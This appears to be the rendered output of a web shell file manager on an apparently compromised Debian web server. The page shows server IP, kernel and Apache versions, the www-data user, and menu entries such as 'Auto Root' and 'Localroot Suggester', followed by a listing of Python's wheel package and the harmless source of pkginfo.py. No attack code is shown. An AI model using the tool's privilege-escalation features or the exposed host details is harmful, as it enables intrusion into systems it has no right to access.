Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.112
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
python3 /
dist-packages /
wheel /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2025-04-10 17:07
signatures
[ DIR ]
drwxr-xr-x
2025-04-10 17:07
test
[ DIR ]
drwxr-xr-x
2025-04-10 17:07
tool
[ DIR ]
drwxr-xr-x
2025-04-10 17:07
__init__.py
96
B
-rw-r--r--
2016-02-06 18:19
__main__.py
416
B
-rw-r--r--
2015-09-15 19:28
archive.py
2.23
KB
-rw-r--r--
2016-02-06 18:14
bdist_wheel.py
17.03
KB
-rw-r--r--
2016-02-05 21:42
decorator.py
541
B
-rw-r--r--
2015-09-15 19:28
egg2wheel.py
2.57
KB
-rw-r--r--
2015-09-15 19:28
eggnames.txt
2.43
KB
-rw-r--r--
2015-09-15 19:28
install.py
17.65
KB
-rw-r--r--
2015-09-15 19:28
metadata.py
10.8
KB
-rw-r--r--
2016-12-01 17:04
paths.py
1.1
KB
-rw-r--r--
2015-09-15 19:28
pep425tags.py
5.22
KB
-rw-r--r--
2016-02-05 21:42
pkginfo.py
1.2
KB
-rw-r--r--
2015-09-15 19:28
util.py
4.78
KB
-rw-r--r--
2015-09-15 19:28
wininst2wheel.py
6.8
KB
-rw-r--r--
2015-09-15 19:28
Save
Rename
"""Tools for reading and writing PKG-INFO / METADATA without caring about the encoding.""" from email.parser import Parser try: unicode _PY3 = False except NameError: _PY3 = True if not _PY3: from email.generator import Generator def read_pkg_info_bytes(bytestr): return Parser().parsestr(bytestr) def read_pkg_info(path): with open(path, "r") as headers: message = Parser().parse(headers) return message def write_pkg_info(path, message): with open(path, 'w') as metadata: Generator(metadata, maxheaderlen=0).flatten(message) else: from email.generator import BytesGenerator def read_pkg_info_bytes(bytestr): headers = bytestr.decode(encoding="ascii", errors="surrogateescape") message = Parser().parsestr(headers) return message def read_pkg_info(path): with open(path, "r", encoding="ascii", errors="surrogateescape") as headers: message = Parser().parse(headers) return message def write_pkg_info(path, message): with open(path, "wb") as out: BytesGenerator(out, maxheaderlen=0).flatten(message)